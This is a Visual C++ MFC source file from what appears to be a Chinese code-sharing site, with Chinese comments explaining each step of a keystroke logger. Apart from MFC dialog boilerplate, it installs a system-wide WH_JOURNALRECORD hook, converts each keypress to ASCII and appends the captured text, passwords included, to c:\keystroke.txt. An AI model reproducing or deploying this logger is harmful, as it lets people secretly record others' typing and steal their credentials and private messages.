cmdDlg.cpp
上传用户:eduxmlj
上传日期:2022-08-03
资源大小:1829k
文件大小:6k
源码类别:

钩子与API截获

开发平台:

Visual C++

  1. // cmdDlg.cpp : implementation file
  2. //
  3. #include "stdafx.h"
  4. #include "cmd.h"
  5. #include "cmdDlg.h"
  6. #ifdef _DEBUG
  7. #define new DEBUG_NEW
  8. #undef THIS_FILE
  9. static char THIS_FILE[] = __FILE__;
  10. #endif
  11. /////////////////////////////////////////////////////////////////////////////
  12. // CAboutDlg dialog used for App About
  13. HHOOK hHook; //钩子的句柄
  14. int iCount=0; //循环计数值
  15. CFile KeyStrokeFile; //记录键盘击键信息的文件
  16. CString strInput; //缓冲键盘输入的字符串
  17. class CAboutDlg : public CDialog
  18. {
  19. public:
  20. CAboutDlg();
  21. // Dialog Data
  22. //{{AFX_DATA(CAboutDlg)
  23. enum { IDD = IDD_ABOUTBOX };
  24. //}}AFX_DATA
  25. // ClassWizard generated virtual function overrides
  26. //{{AFX_VIRTUAL(CAboutDlg)
  27. protected:
  28. virtual void DoDataExchange(CDataExchange* pDX);    // DDX/DDV support
  29. //}}AFX_VIRTUAL
  30. // Implementation
  31. protected:
  32. //{{AFX_MSG(CAboutDlg)
  33. //}}AFX_MSG
  34. DECLARE_MESSAGE_MAP()
  35. };
  36. CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD)
  37. {
  38. //{{AFX_DATA_INIT(CAboutDlg)
  39. //}}AFX_DATA_INIT
  40. }
  41. void CAboutDlg::DoDataExchange(CDataExchange* pDX)
  42. {
  43. CDialog::DoDataExchange(pDX);
  44. //{{AFX_DATA_MAP(CAboutDlg)
  45. //}}AFX_DATA_MAP
  46. }
  47. BEGIN_MESSAGE_MAP(CAboutDlg, CDialog)
  48. //{{AFX_MSG_MAP(CAboutDlg)
  49. // No message handlers
  50. //}}AFX_MSG_MAP
  51. END_MESSAGE_MAP()
  52. /////////////////////////////////////////////////////////////////////////////
  53. // CCmdDlg dialog
  54. CCmdDlg::CCmdDlg(CWnd* pParent /*=NULL*/)
  55. : CDialog(CCmdDlg::IDD, pParent)
  56. {
  57. //{{AFX_DATA_INIT(CCmdDlg)
  58. // NOTE: the ClassWizard will add member initialization here
  59. //}}AFX_DATA_INIT
  60. // Note that LoadIcon does not require a subsequent DestroyIcon in Win32
  61. m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
  62. }
  63. void CCmdDlg::DoDataExchange(CDataExchange* pDX)
  64. {
  65. CDialog::DoDataExchange(pDX);
  66. //{{AFX_DATA_MAP(CCmdDlg)
  67. // NOTE: the ClassWizard will add DDX and DDV calls here
  68. //}}AFX_DATA_MAP
  69. }
  70. BEGIN_MESSAGE_MAP(CCmdDlg, CDialog)
  71. //{{AFX_MSG_MAP(CCmdDlg)
  72. ON_WM_SYSCOMMAND()
  73. ON_WM_PAINT()
  74. ON_WM_QUERYDRAGICON()
  75. ON_BN_CLICKED(IDC_BUTTON1, OnButton1)
  76. ON_BN_CLICKED(IDC_BUTTON2, OnButton2)
  77. //}}AFX_MSG_MAP
  78. END_MESSAGE_MAP()
  79. /////////////////////////////////////////////////////////////////////////////
  80. // CCmdDlg message handlers
  81. BOOL CCmdDlg::OnInitDialog()
  82. {
  83. CDialog::OnInitDialog();
  84. // Add "About..." menu item to system menu.
  85. // IDM_ABOUTBOX must be in the system command range.
  86. ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
  87. ASSERT(IDM_ABOUTBOX < 0xF000);
  88. CMenu* pSysMenu = GetSystemMenu(FALSE);
  89. if (pSysMenu != NULL)
  90. {
  91. CString strAboutMenu;
  92. strAboutMenu.LoadString(IDS_ABOUTBOX);
  93. if (!strAboutMenu.IsEmpty())
  94. {
  95. pSysMenu->AppendMenu(MF_SEPARATOR);
  96. pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
  97. }
  98. }
  99. // Set the icon for this dialog.  The framework does this automatically
  100. //  when the application's main window is not a dialog
  101. SetIcon(m_hIcon, TRUE); // Set big icon
  102. SetIcon(m_hIcon, FALSE); // Set small icon
  103. // TODO: Add extra initialization here
  104. return TRUE;  // return TRUE  unless you set the focus to a control
  105. }
  106. void CCmdDlg::OnSysCommand(UINT nID, LPARAM lParam)
  107. {
  108. if ((nID & 0xFFF0) == IDM_ABOUTBOX)
  109. {
  110. CAboutDlg dlgAbout;
  111. dlgAbout.DoModal();
  112. }
  113. else
  114. {
  115. CDialog::OnSysCommand(nID, lParam);
  116. }
  117. }
  118. // If you add a minimize button to your dialog, you will need the code below
  119. //  to draw the icon.  For MFC applications using the document/view model,
  120. //  this is automatically done for you by the framework.
  121. void CCmdDlg::OnPaint() 
  122. {
  123. if (IsIconic())
  124. {
  125. CPaintDC dc(this); // device context for painting
  126. SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);
  127. // Center icon in client rectangle
  128. int cxIcon = GetSystemMetrics(SM_CXICON);
  129. int cyIcon = GetSystemMetrics(SM_CYICON);
  130. CRect rect;
  131. GetClientRect(&rect);
  132. int x = (rect.Width() - cxIcon + 1) / 2;
  133. int y = (rect.Height() - cyIcon + 1) / 2;
  134. // Draw the icon
  135. dc.DrawIcon(x, y, m_hIcon);
  136. }
  137. else
  138. {
  139. CDialog::OnPaint();
  140. }
  141. }
  142. // The system calls this to obtain the cursor to display while the user drags
  143. //  the minimized window.
  144. HCURSOR CCmdDlg::OnQueryDragIcon()
  145. {
  146. return (HCURSOR) m_hIcon;
  147. }
  148. //我们写钩子处理函数,如下所示:
  149. //钩子处理函数
  150. long __stdcall HookProc(int dwCode,WPARAM wParam, LPARAM lParam)
  151. {
  152. EVENTMSG *pEventMsg; //定义一个消息结构变量
  153. pEventMsg=(EVENTMSG *)lParam; //将lParam赋给消息结构变量
  154. BYTE tmp[1]; //存放通过ToAscii()得到的击键值的低8位
  155. if(strInput.GetLength()==2000) //如果字符数达到了2000,就写文件
  156. {
  157. KeyStrokeFile.SeekToEnd();
  158. KeyStrokeFile.Write(strInput, strInput.GetLength());
  159. strInput.Empty(); //文件写完之后,将字符串清空,以备下次使用
  160. }
  161. if((dwCode==HC_ACTION))
  162. {
  163. switch(pEventMsg->message)
  164. {
  165. case WM_KEYDOWN: //对按键消息进行处理
  166. BYTE bKeyState[256]; //用来存放键盘状态的缓冲区
  167. unsigned short uAscii[4]; //ToAscii()函数中要用到的缓冲区
  168. UINT uScanCode; //键盘扫描码
  169. int iRet; //函数返回值
  170. GetKeyboardState(bKeyState); //得到键盘状态
  171. bKeyState[VK_SHIFT]=GetKeyState(VK_SHIFT);//对shift键进行处理
  172. uScanCode=(pEventMsg->paramH>>16); //得到键盘扫描码
  173. //转换为ASCII码
  174. iRet=ToAscii(pEventMsg->paramL,uScanCode,bKeyState,uAscii,0);
  175. //对返回值进行判断
  176. switch(iRet)
  177. {
  178. case 0: //为0就直接break
  179. return iRet;
  180. break;
  181. case 1: //为1说明有ASCII字符的击键
  182. tmp[0]=uAscii[0];
  183. if(tmp[0]==0x08)//如果是backspace,则要回退一个字符
  184. strInput = strInput.Left(strInput.GetLength() - 1);
  185. else
  186. strInput+=tmp[0];
  187. break;
  188. default:
  189. break;
  190. }
  191. default:
  192. break;
  193. }
  194. }
  195. //进行下一个钩子调用
  196. return CallNextHookEx(hHook,dwCode,wParam,lParam);
  197. }
  198. void CCmdDlg::OnButton1() 
  199. {
  200. KeyStrokeFile.Open("c:\keystroke.txt",
  201. CFile::modeCreate |
  202. CFile::modeNoTruncate |
  203. CFile::modeWrite |
  204. CFile::shareDenyNone
  205. );
  206. //安装钩子
  207. hHook=SetWindowsHookEx(WH_JOURNALRECORD,HookProc,AfxGetApp()->m_hInstance,NULL);
  208. }
  209. void CCmdDlg::OnButton2() 
  210. {
  211. //如果字符串中的字符数小于2000,说明最后的输入没有写入文件。显然,这里需要做的工作是将最后一次在缓冲区存放的字符写入文件中
  212. if(strInput.GetLength()<=2000)
  213. {
  214. KeyStrokeFile.SeekToEnd();
  215. KeyStrokeFile.Write(strInput, strInput.GetLength());
  216. }
  217. //卸载钩子
  218. UnhookWindowsHookEx(hHook);
  219. //关闭文件
  220. KeyStrokeFile.Close();
  221. CDialog::OnCancel();
  222. }